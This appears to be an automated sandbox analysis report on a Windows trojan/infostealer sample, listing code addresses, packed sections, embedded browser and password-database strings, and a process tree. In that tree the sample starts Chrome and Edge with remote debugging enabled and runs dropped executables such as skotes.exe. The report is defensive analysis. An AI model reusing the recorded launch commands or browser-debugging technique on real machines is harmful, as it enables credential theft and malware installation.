Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF50F20	0_2_6CF50F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE16F10	0_2_6CE16F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF168E0	0_2_6CF168E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE4840	0_2_6CEE4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE60820	0_2_6CE60820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A820	0_2_6CE9A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2C9E0	0_2_6CF2C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE449F0	0_2_6CE449F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA09A0	0_2_6CEA09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECA9A0	0_2_6CECA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED09B0	0_2_6CED09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE48960	0_2_6CE48960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE66900	0_2_6CE66900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8EA80	0_2_6CE8EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8CA70	0_2_6CE8CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC8A30	0_2_6CEC8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBEA00	0_2_6CEBEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF16BE0	0_2_6CF16BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB0BA0	0_2_6CEB0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE564D0	0_2_6CE564D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAA4D0	0_2_6CEAA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF3A480	0_2_6CF3A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE28460	0_2_6CE28460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE74420	0_2_6CE74420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A430	0_2_6CE9A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDA5E0	0_2_6CEDA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9E5F0	0_2_6CE9E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE045B0	0_2_6CE045B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE72560	0_2_6CE72560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB0570	0_2_6CEB0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF58550	0_2_6CF58550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE68540	0_2_6CE68540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF14540	0_2_6CF14540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6E6E0	0_2_6CE6E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAE6E0	0_2_6CEAE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE346D0	0_2_6CE346D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6C650	0_2_6CE6C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE3A7D0	0_2_6CE3A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE90700	0_2_6CE90700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE200B0	0_2_6CE200B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEC0B0	0_2_6CEEC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE08090	0_2_6CE08090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE5E070	0_2_6CE5E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDC000	0_2_6CEDC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED8010	0_2_6CED8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE101E0	0_2_6CE101E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78140	0_2_6CE78140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE86130	0_2_6CE86130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEF4130	0_2_6CEF4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF962C0	0_2_6CF962C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE22A0	0_2_6CEE22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDE2B0	0_2_6CEDE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE98260	0_2_6CE98260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA8250	0_2_6CEA8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE8220	0_2_6CEE8220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDA210	0_2_6CEDA210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE643E0	0_2_6CE643E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE423A0	0_2_6CE423A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6E3B0	0_2_6CE6E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF52370	0_2_6CF52370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE12370	0_2_6CE12370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2C360	0_2_6CF2C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA6370	0_2_6CEA6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE18340	0_2_6CE18340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE82320	0_2_6CE82320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED1CE0	0_2_6CED1CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF4DCD0	0_2_6CF4DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAFC80	0_2_6CEAFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE13C40	0_2_6CE13C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF39C40	0_2_6CF39C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE21C30	0_2_6CE21C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE1DC0	0_2_6CEE1DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE03D80	0_2_6CE03D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF59D90	0_2_6CF59D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE73D00	0_2_6CE73D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE33EC0	0_2_6CE33EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF6BE70	0_2_6CF6BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF95E60	0_2_6CF95E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF1DE10	0_2_6CF1DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBBFF0	0_2_6CEBBFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF2DFC0	0_2_6CF2DFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF93FC0	0_2_6CF93FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE31F90	0_2_6CE31F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE45F20	0_2_6CE45F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE05F30	0_2_6CE05F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF67F20	0_2_6CF67F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1D8E0	0_2_6CE1D8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE438E0	0_2_6CE438E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF6B8F0	0_2_6CF6B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEF8F0	0_2_6CEEF8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAF8C0	0_2_6CEAF8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE6D810	0_2_6CE6D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE759F0	0_2_6CE759F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA79F0	0_2_6CEA79F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEA99C0	0_2_6CEA99C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE499D0	0_2_6CE499D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE21980	0_2_6CE21980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE1990	0_2_6CEE1990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE8F960	0_2_6CE8F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CECD960	0_2_6CECD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC5920	0_2_6CEC5920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF5F900	0_2_6CF5F900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE11AE0	0_2_6CE11AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEEDAB0	0_2_6CEEDAB0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_1_002A45D1	28_1_002A45D1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0022E530	32_2_0022E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00268860	32_2_00268860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00267049	32_2_00267049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_002678BB	32_2_002678BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00262D10	32_2_00262D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_002631A8	32_2_002631A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00224DE0	32_2_00224DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00224B30	32_2_00224B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_00257F36	32_2_00257F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 32_2_0026779B	32_2_0026779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE33620 appears 75 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF909D0 appears 286 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF49F30 appears 32 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF9DAE0 appears 64 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CF9D930 appears 52 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE39B10 appears 87 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CE6C5E0 appears 35 times

Source: file.exe, 00000000.00000002.1854790832.0000000070152000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: loxfkbwv ZLIB complexity 0.9948253859561753
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: random[1].exe.0.dr	Static PE information: Section: zeiislbd ZLIB complexity 0.9943290946036223
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: DocumentsDHJECFCGHI.exe.0.dr	Static PE information: Section: zeiislbd ZLIB complexity 0.9943290946036223
Source: skotes.exe.26.dr	Static PE information: Section: ZLIB complexity 0.998020265667575
Source: skotes.exe.26.dr	Static PE information: Section: zeiislbd ZLIB complexity 0.9943290946036223
Source: random[1].exe.32.dr	Static PE information: Section: lkzekxbo ZLIB complexity 0.9944587434266629
Source: 222aa393f7.exe.32.dr	Static PE information: Section: lkzekxbo ZLIB complexity 0.9944587434266629

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@74/292@28/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE70300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6CE70300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\HDBZ2NNU.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9100:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user~1\AppData\Local\Temp\bb67f7a4-5209-4b0a-b6fa-958baca2f30c.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1591225162.000000001D5AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1498612394.000000001D5B9000.00000004.00000020.00020000.00000000.sdmp, AKKECAFBFHJDGDHIEHJD.0.dr, JJECGCBGDBKJJKEBFBFH.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1842507494.000000001D6B5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854020083.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsDHJECFCGHI.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 222aa393f7.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2096,i,4119091583020407398,11720499751748180753,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2288,i,14532237157609877678,14624364788927155022,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6796 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6972 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHJECFCGHI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDHJECFCGHI.exe "C:\Users\user\DocumentsDHJECFCGHI.exe"
Source: C:\Users\user\DocumentsDHJECFCGHI.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6156 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe "C:\Users\user~1\AppData\Local\Temp\1009855001\222aa393f7.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHJECFCGHI.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2452 --field-trial-handle=2096,i,4119091583020407398,11720499751748180753,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2520 --field-trial-handle=2288,i,14532237157609877678,14624364788927155022,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2104 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
